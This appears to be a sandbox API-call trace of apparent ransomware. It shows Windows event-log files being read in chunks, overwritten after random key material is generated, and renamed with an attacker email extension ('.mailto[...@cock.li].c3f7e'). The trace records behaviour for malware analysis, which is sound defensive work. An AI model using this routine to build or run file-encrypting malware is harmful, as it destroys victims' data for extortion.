	[0080.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.705] NtQuerySystemTime (in: CurrentTime=0x11d3fb34 | out: CurrentTime=0x11d3fb34*=132251868074369488) returned 0x0
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xb9dfc7e3
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xc8b71b81
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x2a1f5003
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x9e711f49
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xac419229
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xcad2de2c
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xcc062601
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x365a2c71
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xde9fd781
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x726cb498
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xe843a0a0
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x717e710f
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x2f67aa2b
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x66db0d5e
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xc292829f
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x3fa1200a
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x43ac7ceb
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x80a1c938
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x40a5720e
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xc8a3e921
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x8d645653
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x759dde53
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x9c2f7c62
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x498d68a4
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x5694dace
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xff68b4d6
	[0080.705] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xe76d3d0b
	[0080.706] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xcec60c89
	[0080.706] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x93c56fcc
	[0080.706] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x68f0d323
	[0080.706] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0x1e897ec6
	[0080.706] RtlRandom (in: Seed=0x11d3fb40 | out: Seed=0x11d3fb40) returned 0xd13a5c37
	[0080.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0080.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0080.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0080.718] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eb10b0
	[0080.720] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.720] ReadFile (in: hFile=0x9a0, lpBuffer=0x4eb10b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11d3faec, lpOverlapped=0x0 | out: lpBuffer=0x4eb10b0*, lpNumberOfBytesRead=0x11d3faec*=0xc800, lpOverlapped=0x0) returned 1
	[0081.049] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e980a0
	[0081.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a50
	[0081.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.050] WriteFile (in: hFile=0x9a0, lpBuffer=0x4e980a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11d3faec, lpOverlapped=0x0 | out: lpBuffer=0x4e980a0*, lpNumberOfBytesWritten=0x11d3faec*=0xc800, lpOverlapped=0x0) returned 1
	[0081.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e980a0) returned 1
	[0081.210] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.210] ReadFile (in: hFile=0x9a0, lpBuffer=0x4eb10b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11d3faec, lpOverlapped=0x0 | out: lpBuffer=0x4eb10b0*, lpNumberOfBytesRead=0x11d3faec*=0xc800, lpOverlapped=0x0) returned 1
	[0081.288] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0081.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.288] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48fb048
	[0081.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33848
	[0081.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33848) returned 1
	[0081.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0081.291] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.291] WriteFile (in: hFile=0x9a0, lpBuffer=0x48fb048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11d3faec, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesWritten=0x11d3faec*=0xc800, lpOverlapped=0x0) returned 1
	[0081.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb048) returned 1
	[0081.307] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.307] ReadFile (in: hFile=0x9a0, lpBuffer=0x4eb10b0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11d3faec, lpOverlapped=0x0 | out: lpBuffer=0x4eb10b0*, lpNumberOfBytesRead=0x11d3faec*=0xc800, lpOverlapped=0x0) returned 1
	[0081.312] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaad8
	[0081.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0081.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48fb048
	[0081.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338e8
	[0081.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0081.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0081.314] WriteFile (in: hFile=0x9a0, lpBuffer=0x48fb048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11d3faec, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesWritten=0x11d3faec*=0xc800, lpOverlapped=0x0) returned 1
	[0081.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb048) returned 1
	[0081.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780570
	[0081.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338e8) returned 1
	[0081.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a50) returned 1
	[0081.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eb10b0) returned 1
	[0081.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9d) returned 0x4986ef0
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa00
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e049f0
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0081.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9d) returned 0x49867b8
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e049f0) returned 1
	[0081.323] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0081.323] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1c1) returned 0x2dc3d68
	[0081.323] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.323] WriteFile (in: hFile=0x9a0, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x1c1, lpNumberOfBytesWritten=0x11d3fb94, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x11d3fb94*=0x1c1, lpOverlapped=0x0) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986ef0) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0081.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0081.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ec338
	[0081.326] wcscpy (in: _Dest=0x47ec338, _Source="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx"
	[0081.326] wcscat (in: _Dest=0x47ec338, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.326] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11d3fb4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x47cc248
	[0081.326] NtSetInformationFile (FileHandle=0x9a0, IoStatusBlock=0x11d3fb44, FileInformation=0x47cc248, Length=0xfe, FileInformationClass=0xa) returned 0x0
	[0087.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc248) returned 1
	[0087.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752260) returned 1
	[0087.770] NtQueryInformationFile (in: FileHandle=0x9a0, IoStatusBlock=0x11d3fb58, FileInformation=0x11d3fb30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11d3fb58, FileInformation=0x11d3fb30) returned 0x0
	[0087.771] NtSetInformationFile (FileHandle=0x9a0, IoStatusBlock=0x11d3fb58, FileInformation=0x11d3fb30, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec338) returned 1
	[0087.773] FlushFileBuffers (hFile=0x9a0) returned 1
	[0092.869] CloseHandle (hObject=0x9a0) 

Thread:
	id = 442
	os_tid = 0x1610

	[0076.974] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20
	[0080.415] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", dwFileAttributes=0x20) returned 1
	[0080.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8c4
	[0080.416] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x11dbfed4 | out: lpFileSize=0x11dbfed4*=69632) returned 1
	[0080.416] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.416] ReadFile (in: hFile=0x8c4, lpBuffer=0x11dbfe58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11dbfe54, lpOverlapped=0x0 | out: lpBuffer=0x11dbfe58*, lpNumberOfBytesRead=0x11dbfe54*=0x4, lpOverlapped=0x0) returned 1
	[0080.421] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.421] NtQuerySystemTime (in: CurrentTime=0x11dbfe34 | out: CurrentTime=0x11dbfe34*=132251868071556787) returned 0x0
	[0080.421] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x7e28c24a
	[0080.421] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x6d7aa0f8
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x1c06f032
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xd27b8076
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x660ef56f
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x4472bab7
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x7894d794
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xaa5fc4b9
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x2b514693
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xcfebe404
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x73555cb3
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xefcb0da3
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x7e90ce0d
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x4e1f0c1b
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xf7f5871a
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xff15934
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x3feb2f0a
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x84b84e5a
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x840a491b
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x33a98fd
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xf6e4edfb
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x711e342a
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xfb91853a
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x7d34558f
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x4b2e3656
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x958d6e7a
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xccab5ce
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x1b80fe12
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x4b8f3610
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x7297f797
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0xc047bf87
	[0080.422] RtlRandom (in: Seed=0x11dbfe40 | out: Seed=0x11dbfe40) returned 0x1837b49b
	[0080.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0080.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0080.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.431] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf7c0
	[0080.431] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.431] ReadFile (in: hFile=0x8c4, lpBuffer=0x47cf7c0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11dbfe14, lpOverlapped=0x0 | out: lpBuffer=0x47cf7c0*, lpNumberOfBytesRead=0x11dbfe14*=0xc800, lpOverlapped=0x0) returned 1
	[0080.432] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47dbfc8
	[0080.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.433] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.434] WriteFile (in: hFile=0x8c4, lpBuffer=0x47dbfc8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11dbfe14, lpOverlapped=0x0 | out: lpBuffer=0x47dbfc8*, lpNumberOfBytesWritten=0x11dbfe14*=0xc800, lpOverlapped=0x0) returned 1
	[0084.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47dbfc8) returned 1
	[0084.644] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf7c0) returned 1
	[0084.644] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7f) returned 0x498c938
	[0084.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0084.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7f) returned 0x498c1c8
	[0084.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0084.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.645] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.645] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x163) returned 0x2d884f0
	[0084.645] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.645] WriteFile (in: hFile=0x8c4, lpBuffer=0x2d884f0*, nNumberOfBytesToWrite=0x163, lpNumberOfBytesWritten=0x11dbfe94, lpOverlapped=0x0 | out: lpBuffer=0x2d884f0*, lpNumberOfBytesWritten=0x11dbfe94*=0x163, lpOverlapped=0x0) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c1c8) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c938) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0084.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0084.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477c2a8
	[0084.649] wcscpy (in: _Dest=0x477c2a8, _Source="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx"
	[0084.649] wcscat (in: _Dest=0x477c2a8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
